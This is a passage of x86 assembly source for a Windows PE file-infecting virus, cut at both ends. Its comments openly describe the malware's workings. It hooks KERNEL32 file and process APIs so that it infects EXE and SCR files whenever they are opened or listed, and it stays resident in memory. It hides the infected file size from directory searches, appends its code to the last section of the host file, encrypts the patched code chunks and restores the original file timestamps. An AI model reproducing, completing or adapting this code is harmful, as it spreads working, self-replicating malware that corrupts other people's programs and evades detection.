        add     [eax + ecx],esi         ;add delta.. (aack! damned relocationz..)
        mov     [edx + ecx],ebx
        popad
        clc

f_next_reloc:

        loop    fix_relocs              ;get next relocation item
        ret

redo_reloc:

        call    get_relocs
_popad: popad

write_chunk:

        call    [ebp + ddWriteProcessMemory - ebp_num]  ;write chunk of code to the code section
        xchg    ecx,eax
        pop     edx
        cld
        pop     eax
        jecxz   n_host          ;if error, jump and try to stay resident without jumpin back to host
        xor     edx,eax
        lodsw                   ;get pointer to next chunk of code to patch, if any
        jnz     n_host          ;if error, jump and try to stay resident without jumpin back to host
        cwde
        xchg    ecx,eax
        sub     edi,ecx
        jecxz   go_resident     ;no more chunkz, jump and try to stay resident, then jump back to host
        jmp     get_count       ;jump and patch the next chunk
n_host: pop     eax             ;unwind return adress, an error occured, cant jump to host :(

go_resident:

        lea     esi,[ebp + FindData - ebp_num]
        push    MAX_PATH
        push    esi
        push    ecx
        call    [ebp + ddGetModuleFileName - ebp_num]   ;get host filename
        xchg    ecx,eax
        lea     ebx,[ebp + jmp_addr_table - ebp_num]    ;get pointer to start of jump adress table
        jecxz   g_host
        call    Open&MapFile            ;open host filename and memory-map it
g_host: jecxz   jmp_host                ;if error, jump back to host
        push    PAGE_EXECUTE_READWRITE
        push    MEM_COMMIT or MEM_RESERVE or MEM_TOP_DOWN
        push    (virtual_end2 - code_start + 3) and -4
        push    esi     ;NULL           ;let OS choose memory adress
        call    [ebp + ddVirtualAlloc - ebp_num]        ;allocate enough memory for virus code and bufferz
        lea     ecx,[ebp + FunctionNamez2 - ebp_num]    ;get pointer to start of function namez to hook
        mov     edi,non_res - code_start
        xchg    ecx,eax                 ;get size of new allocated block
        lea     esi,[ecx + PathNamez - code_start]
        jecxz   close_jmp_host          ;if error on VirtualAlloc, close file and jump to host
        xchg    edi,ecx                 ;get target adress of new allocated block
        mov     [ebp + pPathNamez - ebp_num],esi        ;initialize pointer to store future pathnamez retrieved by Find(First/Next)File(A/W)
        mov     esi,edi
        xchg    [ebp + pcode_start - ebp_num],esi       ;get source adress of virus code and store new target adress as new source adress
        lea     edx,[edi + ecx + jmp_table_size + 1]
        mov     [ebp + pNewAPIs - ebp_num],edx          ;initialize pointer to store hooked APIs in the new jump table
        cld
        rep     movsb                   ;copy virus code to new allocated block
        mov     [esi],cl                ;force a null to mark the end of function namez to hook
        pop     ecx                     ;get start of memory-maped file
        inc     edi                     ;get pointer to NewAPItable
        push    ecx

hook_api:       ;hook API functionz, retrieve old API adress and build new API entry into jump table..

        pushad
        call    IGetProcAddressIT       ;get RVA pointer of API function inside import table
        test    eax,eax
        jz      next_api_hook           ;if not found, jump and get next API name
        add     eax,[ebp + phost_hdr - ebp_num]         ;convert RVA to real pointer by addin the actual host base adress
        mov     edx,esp
        push    eax
        push    esp
        xchg    esi,eax
        mov     al,0B8h                 ;build "mov eax,?" instruction into jump table
        push    4
        push    edx
        stosb
        call    [ebp + ddGetCurrentProcess - ebp_num]
        push    esi
        push    eax
        cld
        movsd                           ;get and copy old API adress into jump table
        call    [ebp + ddWriteProcessMemory - ebp_num]   ;set our API hook
        cld
        mov     al,0E9h                 ;build "jmp ?" instruction to jump to new API handler
        pop     edx
        pop     ecx
        stosb
        movzx   eax,word ptr [ebx]      ;build relative offset to new API handler
        sub     eax,edi
        add     eax,[ebp + pcode_start - ebp_num]
        stosd
        push    edi

next_api_hook:

        popad
        inc     ebx
        xchg    esi,eax
        @endsz                  ;get pointer to next API name
        inc     ebx
        cmp     [esi],al        ;check end of API namez to hook
        xchg    eax,esi
        jnz     hook_api        ;jump and get next API, if there are more APIz to hook

close_jmp_host:

        call    Close&UnmapFile ;close and unmap host file

jmp_host:

        cld
        pop     eax
        jmp     eax             ;jmp to host.. or try to quit aplication if an error ocurred while patchin the code section

NewGetProcAddr: ;new GetProcAddress API entry point.. hook wanted API functionz from KERNEL32..

        call    APICall@n_2     ;call old GetProcAdress API and retrieve API adress in EAX
        pushad
        mov     ecx,[esp.cPushad.Arg1]  ;get module handle/base adress
        call    get_ebp                 ;get EBP to reference internal variablez correctly
        xchg    ecx,eax
        jecxz   end_getproc             ;get out if retrieved API adress is zero
        sub     eax,[ebp + K32Mod - ebp_num]    ;is it KERNEL32 base adress?
        jnz     end_getproc                     ;no, get out
        lea     edx,[ebp + jmp_addr_table - 2 - ebp_num]        ;yea its KERNEL32, get pointer to start of jump table
        lea     edi,[ebp + FunctionNamez2 - 1 - ebp_num]        ;get pointer to API function namez to hook
        cld

n_gproc_next_str:       ;search specified API function name from the list of posible API namez to hook..

        inc     edx
        scasb                           ;get adress to next API function name
        jnz     $ - 1
        mov     esi,[esp.cPushad.Arg2]  ;get pointer to specified API function name
        inc     edx
        scasb
        jz      end_getproc             ;if end of API namez reached, get out
        dec     edi

n_gproc_next_chr:

        cmpsb                           ;do API namez match?
        jnz     n_gproc_next_str        ;no, get next API name
        dec     edi
        scasb
        jnz     n_gproc_next_chr

n_gproc_apis_match:     ;API namez match, we need to hook the API..

        lea     ebx,[ebp + NewAPItable + nAPIS - 10 - ebp_num]  ;get top of jump table
        mov     edi,[ebp + pNewAPIs - ebp_num]  ;get current pointer to build new API entry
        cmp     ebx,edi                         ;check if jump table is full
        jc      end_getproc                     ;get out if full
        push    edi
        sub     al,-0B8h                ;build "mov eax,?" instruction into jump table
        stosb
        pop     eax
        xchg    eax,[esp.Pushad_eax]    ;retrieve old API adress and swap with the new API adress
        stosd
        mov     al,0E9h                 ;build "jmp ?" instruction to jump to new API handler
        stosb
        movzx   eax,word ptr [edx]      ;build relative offset to new API handler
        sub     eax,edi
        add     eax,[ebp + pcode_start - ebp_num]
        stosd
        mov     [ebp + pNewAPIs - ebp_num],edi  ;update pointer to next API entry in the jump table

end_getproc:

        popad
        ret     (2*Pshd)        ;return to caller

jmp_addr_table: ;adress table.. contains relative offsetz to new API handlerz..

        dw      NewGetProcAddr    - code_start - 4
        dw      NewGetFileAttrA   - code_start - 4
        dw      NewGetFileAttrW   - code_start - 4
        dw      NewMoveFileExA    - code_start - 4
        dw      NewMoveFileExW    - code_start - 4
        dw      New_lopen         - code_start - 4
        dw      NewCopyFileA      - code_start - 4
        dw      NewCopyFileW      - code_start - 4
        dw      NewOpenFile       - code_start - 4
        dw      NewMoveFileA      - code_start - 4
        dw      NewMoveFileW      - code_start - 4
        dw      NewCreateProcessA - code_start - 4
        dw      NewCreateProcessW - code_start - 4
        dw      NewCreateFileA    - code_start - 4
        dw      NewCreateFileW    - code_start - 4
        dw      NewFindCloseX     - code_start - 4
        dw      NewFindFirstFileA - code_start - 4
        dw      NewFindFirstFileW - code_start - 4
        dw      NewFindNextFileA  - code_start - 4
        dw      NewFindNextFileW  - code_start - 4
        dw      NewSetFileAttrA   - code_start - 4
        dw      NewSetFileAttrW   - code_start - 4

jmp_table_size =        $ - jmp_addr_table

NewSetFileAttrW:        ;new API handlerz (unicode version)..
NewCreateFileW:
NewCreateProcessW:
NewMoveFileW:
NewCopyFileW:
NewMoveFileExW:
NewGetFileAttrW:
CommonProcessW:

        test    al,?    ;clear carry (unicode version)
        org     $ - 1

NewSetFileAttrA:        ;new API handlerz (ansi version)..
NewCreateFileA:
NewCreateProcessA:
NewMoveFileA:
NewOpenFile:
NewCopyFileA:
New_lopen:
NewMoveFileExA:
NewGetFileAttrA:
CommonProcessA:

        stc             ;set carry (ansi version)
        pushad
        call    get_ebp2_Uni2Ansi       ;get EBP to reference internal variablez correctly and convert unicode string to ansi (for unicode version APIz)
        jecxz   jmp_old_api
        call    findfirst               ;get atributez, size of file and check if it exists
        jz      jmp_old_api
        dec     eax
        push    eax                     ;save search handle
        @copysz                         ;copy filename to an internal buffer
        call    Process_File2           ;try to infect file..

NCF_close:

        call    [ebp + ddFindClose - ebp_num]   ;close file search

jmp_old_api:

        popad
        jmp     eax                     ;jump to original API adress

NewFindFirstFileW:      ;new findfirst API handler.. infect files, stealth (unicode version)

                test    al,?            ;clear carry (unicode version)
                org     $ - 1

NewFindFirstFileA:      ;new findfirst API handler.. infect files, stealth (ansi version)

                stc                     ;set carry (ansi version)
                call    APICall@n_2     ;call old findfirst API
                pushad
                inc     eax             ;if any error, get out
                jz      go_ret_2Pshd
                dec     eax
                jz      go_ret_2Pshd
                call    get_ebp2_Uni2Ansi       ;get EBP to reference internal variablez correctly and convert unicode string to ansi (for unicode version APIz)
                jecxz   go_ret_2Pshd
                mov     edi,[ebp + pPathNamez - ebp_num]        ;get pointer to new entry in pathnamez table
                lea     ebx,[ebp + PathNamez + nPATHNAMEZ - MAX_PATH - ebp_num] ;get top of pathnamez table
                cmp     edi,ebx
                jnc     go_ret_2Pshd    ;if not enough space to store filename, jump
                mov     ebx,edi
                @copysz                 ;copy filename to pathnamez table
next2_ff:       mov     al,[edi - 1]    ;get end of path..
                add     al,-'\'
                jz      eop_ff
                sub     al,':' - '\'
                jz      eop_ff
                dec     edi
                cmp     ebx,edi
                jc      next2_ff
                xor     al,al
eop_ff:         stosb                   ;force null to split path from filename
                mov     [ebp + pPathNamez - ebp_num],edi        ;update pointer to next entry in pathnamez table
                call    get_handle_ofs_0        ;get new free entry in handlez table
                jc      go_ret_2Pshd
                mov     eax,[esp.Pushad_eax]    ;get handle returned by findfirst
                stosd                           ;store handle into handlez table
                xchg    eax,ebx
                stosd                           ;store pointer to asociated pathname into handlez table as well
                mov     [ebp + pHandlez - ebp_num],edi  ;update pointer to next entry in handlez table
                xchg    esi,eax
                jmp     FindCommon

go_ret_2Pshd:   popad                   ;return to caller
                ret     (2*Pshd)

NewFindNextFileW:       ;new findnext API handler.. infect files, stealth (unicode version)

                test    al,?            ;clear carry (unicode version)
                org     $ - 1

NewFindNextFileA:       ;new findnextt API handler.. infect files, stealth (ansi version)

                stc                     ;set carry (ansi version)
                call    APICall@n_2     ;call old findnext API
                pushad
                call    get_handle_ofs_ebp      ;get correct entry in handlez table acordin to handle
                jc      go_ret_2Pshd
                mov     esi,[edi + 4]   ;get respective pathname

FindCommon:     lea     edi,[ebp + PathName - ebp_num]
                @copysz                 ;copy pathname to respective buffer
                dec     edi
                mov     ebx,[esp.cPushad.Arg2]  ;get WIN32_FIND_DATA parameter
                or      al,[ebp + uni_or_ansi - ebp_num]        ;check if its ansi or unicode
                lea     esi,[ebx.WFD_szFileName]        ;get filename
                jnz     its_ansi_fc
                call    Uni2Ansi        ;its unicode, convert to ansi and atach filename to pathname
its_ansi_fc:    call    Process_File3   ;try to infect file
                call    get_size        ;get file size
                jnz     go_ret_2Pshd
                test    [ebx.WFD_nFileSizeLow.hiw.hib],11111100b  ;filesize > 64MB?
                jnz     go_ret_2Pshd    ;yea, file too large, jump
                div     ecx
                dec     edx
                jns     go_ret_2Pshd    ;if not infected, jump, stealth not necesary
                call    check_PE_file   ;file is infected, do size stealth
                jmp     go_ret_2Pshd

NewFindCloseX:  mov     cl,1
                call    APICall@n       ;call old findclose API
                pushad
                call    get_handle_ofs_ebp      ;get correct entry in handlez table acordin to handle
                jc      go_ret_Pshd
                lea     esi,[edi + 4]
                mov     ecx,[ebp + pHandlez - ebp_num]
                lodsd
                sub     ecx,esi
                pushad
                xchg    esi,eax                                 ;remove pathname entry
                mov     ecx,[ebp + pPathNamez - ebp_num]
                mov     edi,esi
                @endsz
                sub     ecx,esi
                mov     [esp.Pushad_ebx],ecx
                rep     movsb
                mov     [ebp + pPathNamez - ebp_num],edi        ;update pointer to handlez table
                popad
                shr     ecx,3                                   ;remove handle entry
                jz      setH_fc
FixpPathNamez:  movsd
                lodsd
                sub     eax,ebx
                stosd
                loop    FixpPathNamez
setH_fc:        mov     [ebp + pHandlez - ebp_num],edi          ;update pointer to pathnamez table
go_ret_Pshd:    popad
                ret     (Pshd)

Open&MapFile    proc    ;open and map file in read only mode
                        ;  on entry:
                        ;    ESI = pszFileName (pointer to file name)
                        ;  on exit:
                        ;    ECX = 0, if error
                        ;    ECX = base adress of memory-maped file, if ok

                xor     edi,edi

Open&MapFileAdj:        ;open and map file in read/write mode
                        ;  on entry:
                        ;    EDI = file size + work space (in bytes)
                        ;    ESI = pszFileName (pointer to file name)
                        ;  on exit:
                        ;    ECX = 0, if error
                        ;    ECX = base adress of memory-maped file, if ok
                        ;    EDI = old file size

                xor     eax,eax
                push    eax                     ;0
                push    eax                     ;FILE_ATTRIBUTE_NORMAL
                push    OPEN_EXISTING
                push    eax                     ;NULL
                mov     al,1
                push    eax                     ;FILE_SHARE_READ
                ror     eax,1                   ;GENERIC_READ
                mov     ecx,edi
                jecxz   $ + 4
                rcr     eax,1                   ;GENERIC_READ + GENERIC_WRITE
                push    eax
                push    esi                     ;pszFileName
                call    [ebp + ddCreateFileA - ebp_num]         ;open file
                cdq
                xor     esi,esi
                inc     eax
                jz      end_Open&MapFile        ;if error, jump
                dec     eax
                push    eax                     ;push first handle

                push    edx                     ;NULL
                push    edi                     ;file size + buffer size
                push    edx                     ;0
                mov     dl,PAGE_READONLY
                mov     ecx,edi
                jecxz   $ + 4
                shl     dl,1                    ;PAGE_READWRITE
                push    edx
                push    esi                     ;NULL
                push    eax                     ;handle
                call    [ebp + ddCreateFileMappingA - ebp_num]  ;create file mapping
                cdq
                xchg    ecx,eax
                jecxz   end_Open&MapFile2       ;if error, close handle and jump
                push    ecx                     ;push second handle

                push    edi                     ;file size + buffer size
                push    edx                     ;0
                push    edx                     ;0
                mov     dl,FILE_MAP_READ
                test    edi,edi
                .if     !zero?
                shr     dl,1                            ;FILE_MAP_WRITE
                mov     edi,[ebx.WFD_nFileSizeLow]
                .endif
                push    edx
                push    ecx                     ;handle
                call    [ebp + ddMapViewOfFile - ebp_num]       ;map view of file
                xchg    ecx,eax
                jecxz   end_Open&MapFile3
                push    ecx                     ;push base adress of memory-maped file

                jmp     [esp.(3*Pshd).RetAddr]  ;jump to return adress leavin parameterz in the stack

Open&MapFile    endp

Close&UnmapFile proc    ;close and unmap file previosly opened in read only mode

                xor     edi,edi

Close&UnmapFileAdj:     ;close and unmap file previosly opened in read/write mode

                pop     [esp.(4*Pshd).RetAddr - Pshd]
                call    [ebp + ddUnmapViewOfFile - ebp_num]     ;unmap view of file

end_Open&MapFile3:

                call    [ebp + ddCloseHandle - ebp_num] ;close handle
                mov     ecx,edi
                jecxz   end_Open&MapFile2       ;if read-only mode, jump
                pop     eax
                push    eax
                push    eax
                xor     esi,esi
                push    esi
                push    esi
                push    edi
                push    eax
                xchg    edi,eax
                call    [ebp + ddSetFilePointer - ebp_num]      ;move file pointer to the real end of file
                call    [ebp + ddSetEndOfFile - ebp_num]        ;truncate file at real end of file
                lea     eax,[ebx.WFD_ftLastWriteTime]
                push    eax
                push    esi
                push    esi
                push    edi
                call    [ebp + ddSetFileTime - ebp_num] ;restore original date/time stamp field

end_Open&MapFile2:

                call    [ebp + ddCloseHandle - ebp_num] ;close handle

end_Open&MapFile:

                xor     ecx,ecx
                ret

Close&UnmapFile endp

get_ebp2_Uni2Ansi:      ;this function sets EBP register to reference internal
                        ;  variablez correctly and also converts unicode
                        ;  strings to ansi (for unicode version APIz only).
                        ;this function is only useful at the resident stage.
                        ;on entry:
                        ;  TOS+28h (Pshd.cPushad.Arg1): pointer to specified file name
                        ;on exit:
                        ;  ECX = 0, if error

        mov     esi,[esp.(Pshd).cPushad.Arg1]   ;get source pointer to specified file name
        call    get_ebp2                        ;get actual EBP
        lea     edi,[ebp + PathName - ebp_num]  ;get target pointer to internal buffer
        jc      ansiok

Uni2Ansi:       ;this function converts an ansi string to a unicode string
                ;on entry:
                ;  ESI = pointer to specified file name
                ;on exit:
                ;  ECX = 0, if error

        xor     eax,eax
        push    eax                                     ;NULL
        push    eax                                     ;NULL
        push    MAX_PATH
        push    edi                                     ;target pointer
        push    -1
        push    esi                                     ;source pointer
        push    eax
        push    eax                                     ;CP_ACP
        call    [ebp + ddWideCharToMultiByte - ebp_num]
        mov     esi,edi
ansiok: xchg   ecx,eax
        cld
        ret

Rva2Raw proc    ;this function converts RVA valuez to RAW pointerz inside PE
                ;  filez. This function is specialy useful for memory-maped
                ;  filez.
                ;given a RVA value, this function returns the start adress
                ;  and size of the section containin it, plus its relative
                ;  delta value inside the section.
                ;on entry:
                ;  EAX = RVA value
                ;  EBP = start of memory-maped file (MZ header)
                ;  ESI = start of PE header + 3Ch
                ;on exit:
                ;  EBP = RAW size of section
                ;  EBX = RAW start of section
                ;  ECX = 0, if not found
                ;        start of respective section header (+ section header
                ;        size), if found
                ;  EDX = RVA start of section
                ;  ESI = relative delta of RVA value inside section.

        movzx   ecx,word ptr [esi.NT_FileHeader         \ ;get number of sectionz
                                 .FH_NumberOfSections   \
                                 -MZ_lfanew]
        jecxz   end_Rva2Raw
        movzx   ebx,word ptr [esi.NT_FileHeader         \ ;get first section header
                          .FH_SizeOfOptionalHeader      \
                          -MZ_lfanew]
        lea     ebx,[esi.NT_OptionalHeader + ebx - MZ_lfanew]
        x =     IMAGE_SIZEOF_SECTION_HEADER

match_virtual:  ;scan each PE section header and determine if specified RVA
                ;value points inside

        mov     esi,eax
        mov     edx,[ebx.SH_VirtualAddress]
        sub     esi,edx
        sub     ebx,-x
        cmp     esi,[ebx.SH_VirtualSize - x]    ;is RVA value pointin inside current section?
        jb      section_found                   ;yea we found the section, jump
        loop    match_virtual                   ;nope, get next section

end_Rva2Raw:

        ret

Rva2Raw endp

get_handle_ofs_ebp:     ;this function sets EBP register to reference internal
                        ;  variablez correctly and also given a handle, it gets
                        ;  a pointer to an entry in the handlez table.
                        ;this function is only useful at the resident stage.
                        ;on entry:
                        ;  TOS+28h (Pshd.cPushad.Arg1): specified handle
                        ;on exit:
                        ;  EDI = pointer to entry in handlez table
                        ;  Carry clear, if ok
                        ;  Carry set, if error

                xchg    ecx,eax
                jecxz   end_gho_stc
                call    get_ebp2
                mov     ecx,[esp.(Pshd).cPushad.Arg1]   ;get handle
                jecxz   end_gho_stc
                xchg    eax,ecx
                cmp     ax,?
                org     $ - 2

get_handle_ofs_0:   ;gets a pointer to an empty entry in the handlez table
                    ;this function is only useful at the resident stage.
                    ;on exit:
                    ;  EDI = pointer to entry in handlez table
                    ;  Carry clear, if ok
                    ;  Carry set, if error

                sub   eax,eax

get_handle_ofs: ;given a handle, this function gets a pointer
                ;  to an entry in the handlez table.
                ;this function is only useful at the resident stage.
                ;on entry:
                ;  EAX = specified handle
                ;on exit:
                ;  EDI = pointer to entry in handlez table
                ;  Carry clear, if ok
                ;  Carry set, if error

                lea     edi,[ebp + Handlez - 8 - ebp_num]
                lea     edx,[edi + nHANDLEZ]
      next_gho: scasd                           ;add edi,8
                scasd                           ;
                cmp     edx,edi         ;top of handlez table reached?
                jc      end_gho         ;yea, handle not found, jump
                cmp     eax,[edi]       ;do handlez match?
                jnz     next_gho        ;no, check next handle, jump
                test    al,?            ;yea, handle found, clear carry
                org     $ - 1
   end_gho_stc: stc                     ;set carry
       end_gho: ret

section_found:

        x =     IMAGE_SIZEOF_SECTION_HEADER
        xchg    ebp,ebx
        add     ebx,[ebp.SH_PointerToRawData - x]       ;get RAW start of section
        xchg    ecx,ebp
        mov     ebp,[ecx.SH_SizeOfRawData - x]          ;get RAW size of section
        cld
        ret

get_relocs:     ;this comon funtion is called from both instalation and
                ;  infection stage.
                ;it simply locates each relocation block in the .reloc section
                ;  and calls a function to (a) nulify those dangerous reloca-
                ;  tionz in a block (infection stage) or (b) to fix the code
                ;  pointed to by such marked relocationz (instalation stage).
                ;on entry:
                ;  EDI = RVA start pointer to chunk of code
                ;  TOS+04h (Arg1): fix_relocs label function adress (instalation stage)
                ;                    or
                ;                  nul_relocs label function adress (infection stage)
                ;  TOS+00h (return adress)

        add     esi,ebx         ;get start of relocation section in aplication context
        add     edx,edi         ;get end adress of chunk code
        lea     ebp,[ecx+esi]   ;get end of relocation section in aplication context

process_reloc_blocks:

        lodsd
        xchg    ebx,eax                 ;get start RVA for this block of relocationz
        lea     ecx,[ebx + 4096]        ;get end RVA where relocationz can point in a block
        lodsd                           ;get size of reloc block
        x =     IMAGE_SIZEOF_BASE_RELOCATION
        add     eax,-x
        cmp     edi,ecx          ;RVA pointer inside relocation block? (check low boundary)
        lea     ecx,[eax + esi]  ;get next block adress
        push    ecx
        jnc     next_reloc_block
        shr     eax,1
        cmp     ebx,edx          ;RVA pointer inside relocation block? (check high boundary)
        jnc     next_reloc_block
        xchg    ecx,eax          ;get number of relocationz for this block
        jecxz   next_reloc_block

        call    [esp.(Pshd).Arg1]       ;call fix_relocs function or nul_relocs function

next_reloc_block:

        pop     esi                     ;get next block adress
        lea     eax,[esi + x]
        cmp     eax,ebp                 ;end of relocation blockz?
        jc      process_reloc_blocks    ;no, process the block, jump
        ret     (Pshd)                  ;yea, no more relocation blockz, return

Process_File3:  ;this function copies a filename to an internal buffer
                ;  and checks the extension thru a list of infectable
                ;  extensions (EXE and SCR filez for the moment). If
                ;  the extension matches, the file will be infected.
        @copysz
        mov     edx,not 0FF202020h              ;upercase mask
        mov     ecx,[edi-4]                     ;get filename extension
        lea     esi,[ebp + Exts - ebp_num]      ;get pointer to list of extensionz
        and     ecx,edx                         ;convert file extension to upercase

next_ext:

        lodsd                           ;get extension from list
        dec     al                      ;no more extensionz?
        js      end_PF3
        and     eax,edx                 ;convert extension to upercase
        dec     esi
        xor     eax,ecx                 ;do extensionz match?
        jnz     next_ext
        cmp     byte ptr [edi-5],'.'
        jnz     end_PF3                 ;no, get next extension
        call    Process_File2           ;yes, extensionz match, infect file

end_PF3: ret

err_Rva2Raw:

        popad   ;needed to unwind the stack from some function

err_Rva2Raw2:

        popad   ;needed to unwind the stack from some function
        ret

Attach  proc    ;attach virus code to last section in the PE file and
                ;  change section characteristicz to reflect infection.
                ;on entry:
                ;  ECX = base of memory-maped file
                ;  EDI = original file size
                ;on exit:
                ;  EDI = new file size

        lea     esi,[ecx.MZ_lfanew]                     ;get base of PE header + 3Ch
        mov     eax,[ebp + pcode_start - ebp_num]       ;get start adress of virus code
        add     esi,[esi]
        mov     edx,[esi.NT_OptionalHeader      \       ;get built-in image base
                        .OH_ImageBase           \
                        -MZ_lfanew]
        pushad                                          ;save valuez to stack
        xor     eax,eax
        x =     IMAGE_SIZEOF_SECTION_HEADER
        sub     al,-x
        mul     byte ptr [esi.NT_FileHeader     \       ;get number of sectionz
                      .FH_NumberOfSections      \
                      -MZ_lfanew]
        add     ax,word ptr [esi.NT_FileHeader  \       ;get first section header
                       .FH_SizeOfOptionalHeader \
                       -MZ_lfanew]
        jc      err_Rva2Raw2
        lea     ebx,[esi.NT_OptionalHeader - MZ_lfanew + eax]
        mov     eax,[esi.NT_OptionalHeader.OH_SectionAlignment - MZ_lfanew]
        mov     edx,[esi.NT_OptionalHeader.OH_FileAlignment - MZ_lfanew]
        dec     eax
        dec     edx
        or      eax,edx                 ;check SectionAlignment and FileAlignment fieldz
        cmp     eax,10000h
        jnc     err_Rva2Raw2            ;too large?
        add     edi,ecx                 ;get end of file in MM-file
        inc     al
        jnz     err_Rva2Raw2
        mov     eax,[ebx.SH_VirtualAddress - x]
        mov     ebp,ecx                 ;get MM-file base address
        add     eax,edi
        add     ecx,[ebx.SH_PointerToRawData - x]
        sub     eax,ecx                 ;get new RVA entry point

;at this point:
;
; cPushad.EAX = source adress of code to copy (start at encrypted stringz)
; cPushad.EBX = embedded (in PE header) host base address
;         EBP = start of MM-file. Base address of MM-file
;         EAX = new RVA entry point (start of virus code RVA)
;         EDX = file alignment - 1
;         EDI = target adress where code will be copied to in the MM-File
;         ECX = start adress of last section in the MM-file
;         EBX = start adress of last section header (plus section header size)
;                 in the MM-file
;         ESI = start of PE header (+ 3Ch) in the MM-file

        pushad
        mov     eax,[esi.NT_OptionalHeader      \       ;get current entry point
                        .OH_AddressOfEntryPoint \
                        -MZ_lfanew]

;on entry:
;
;  EAX = Host EntryPoint RVA
;  EBP = start of MZ header (start of MM-file)
;  ESI = start of PE header + 3Ch (in MM-file)

        call    Rva2Raw         ;find true code section (clue: EntryPoint RVA points inside)

;on exit:
;
;  EBP = raw size of CODE section
;  EBX = raw start of CODE section
;  ECX = 0, if not found
;        start of CODE section header (+ section header size), if found
;  EDX = start of CODE section RVA
;  ESI = relative delta of RVA inside CODE section.

        jecxz   err_Rva2Raw     ;code section not found, invalid EntryPoint
        pushad
        mov     ebp,esp
        mov     edx,[ebp.(2*cPushad).Pushad_ebp]        ;get original ebp
        x =     IMAGE_SIZEOF_SECTION_HEADER
        or      byte ptr [ecx.SH_Characteristics.hiw.hib - x],20h  ;set exec bit to section

exec_set:

        mov     esi,[edx + ImportHdr - ebp_num] ;get import section header
        xor     ecx,esi                         ;is import table inside code section?
        jz      IT_in_Code                      ;yea, jump

        ;import table NOT inside code section (i.e. probably exists an .idata section)

        or      byte ptr [esi.SH_Characteristics.hiw.hib - x],80h       ;set writable bit

IT_in_Code:     ;import table is inside code section (stupid microsoft)
                ;no need to set the writable bit (the exec bit does the job)

        sub     ecx,ecx
        push    edi                     ;need this value l8r, push it
        mov     cl,5
        sub     eax,0B2FD26A3h
sub_1st_val =   dword ptr $ - 4
        add     edi,ecx                 ;add edi,5
        stosd
        push    edi
        mov     eax,ecx                 ;ax = 5
        stosw
        sub     al,- 0e9h + 5           ;al = E9h
        stosb
        mov     eax,[ebp.cPushad.Pushad_eax]    ;get RVA start of virus code
        sub     eax,[ebp.Pushad_eax]
        sub     eax,ecx                 ;sub eax,5
        stosd
        xor     eax,eax
        pop     esi
        stosw                           ;0
        mov     edi,[ebp.Pushad_eax]

nulify_relocs:  ;nulify relocs that could overwrite our inserted chunks of code..

        push    edi
        lodsw
        cwde
        pushad
        mov     esi,[ebp.cPushad.Pushad_esi]      ;get PE header (+ 3Ch)
        mov     ecx,[esi.NT_OptionalHeader      \ ;get size of relocation blockz
                        .OH_DirectoryEntries    \
                        .DE_BaseReloc           \
                        .DD_Size                \
                        -MZ_lfanew]
        jecxz   go_popad                ;no relocationz, jump
        push    eax                     ;save size of this chunk of code temporarily
        push    ecx
        mov     ebp,[ebp.cPushad.Pushad_ebp]      ;get base of MM-file (MZ header)
        mov     eax,[esi.NT_OptionalHeader      \ ;get RVA start of relocation blockz
                        .OH_DirectoryEntries    \
                        .DE_BaseReloc           \
                        .DD_VirtualAddress      \
                        -MZ_lfanew]
        call    Rva2Raw                 ;convert RVA to a raw offset inside the section
        pop     eax
        pop     edx                     ;retrieve size of this chunk of code temporarily
        jecxz   go_popad
        xchg    ecx,eax
        call    mark_reloc      ;pass nul_relocs as a parameter to get_relocs function

nul_relocs:

        lodsw                   ;get relocation item
        cwde
        ror     eax,3*4
        add     al,- IMAGE_REL_BASED_HIGHLOW    ;check relocation type
        jnz     n_next_reloc                    ;not valid, get next relocation item
        shr     eax,5*4                         ;strip or blank relocation type field from relocation item
        lea     eax,[eax + ebx + 4]             ;convert relocation pointer to RVA
        cmp     edi,eax                         ;check if relocation points to our chunk of code..
        jnc     n_next_reloc                    ;check low boundary
        add     eax,-4
        cmp     eax,edx                         ;check high boundary
        jnc     n_next_reloc                    ;it doesnt point to our chunk of code, get next relocation item

        ;this relocation item is pointing inside our chunk of code..
        ;nulify and mark it!

        and     byte ptr [esi.hib - 2],not (mask RD_RelocType shr 8)    ;nulify relocation!

n_next_reloc:

        loop    nul_relocs                      ;get next relocation item
        ret

mark_reloc:

        call    get_relocs

go_popad:

        popad
        xchg    ecx,eax                 ;size of this chunk of code
        add     edi,[ebp.Pushad_ebx]    ;convert RVA start of chunk of code to a raw value
        sub     edi,[ebp.Pushad_edx]

pre_crypt:

        lodsb                           ;encrypt chunk of code..
        xchg    [edi],al
        ror     al,cl
        inc     edi
        xor     al,06Ah
_xor_2nd_val =  byte ptr $ - 1
        mov     [esi-1],al
        loop    pre_crypt
        lodsw                           ;get next chunk of code
        cwde
        pop     edi
        xchg    ecx,eax                 ;no more chunkz?
        jecxz   pre_crypt_done
        sub     edi,ecx                 ;point EDI to next chunk
        jmp     nulify_relocs           ;check relocationz, jump

pre_crypt_done:

        sub     al,-0e8h                ;build 'call' instruction
        pop     edi
        stosb
        lea     eax,[eax + get_base - code_start - 4 - 0e8h + esi] ;
        sub     eax,edi
        stosd
        mov     cx,(v_end - code_start + 3)/4
        add     eax,edi
        mov     edi,[ebp.cPushad.cPushad.Pushad_eax]    ;get start of virus code
        mov     edx,[ebp.cPushad.cPushad.Pushad_edx]    ;get embedded base
        xchg    esi,edi
        rep     movsd                                   ;copy virus code
        sub     ecx,[ebp.cPushad.Pushad_eax]
        mov     [ebp.cPushad.Pushad_edi],edi
        add     ecx,-5
        mov     [eax + old_base - get_base],edx         ;hardcode some valuez..
        mov     [eax + delta_host - get_base],ecx
        popad
        popad

        x =     IMAGE_SIZEOF_SECTION_HEADER

        sub     edi,ecx         ;change characteristicz of last section in the PE header..
        lea     ecx,[edx + edi]
        xchg    edx,eax
        inc     eax
        cdq     ;edx=0
        xchg    ecx,eax
        div     ecx             ;calculate new size of last section
        mul     ecx
        xchg    eax,edi
        mov     ecx,[esi.NT_OptionalHeader.OH_SectionAlignment - MZ_lfanew]
        sub     eax,v_end - virtual_end
        cmp     [ebx.SH_VirtualSize - x],eax    ;calculate new virtual size of last section
        jnc     n_vir
        mov     [ebx.SH_VirtualSize - x],eax
 n_vir: dec     eax
        mov     [ebx.SH_SizeOfRawData - x],edi  ;update size of last section
        add     eax,ecx
        div     ecx
        mul     ecx
        pop     ebp                             ;get original file size
        add     eax,[ebx.SH_VirtualAddress - x]
        cmp     [esi.NT_OptionalHeader.OH_SizeOfImage - MZ_lfanew],eax  ;update size of image field in the PE header
        jnc     n_img
        mov     [esi.NT_OptionalHeader.OH_SizeOfImage - MZ_lfanew],eax
 n_img: add     edi,[ebx.SH_PointerToRawData - x]
        sub     ecx,ecx
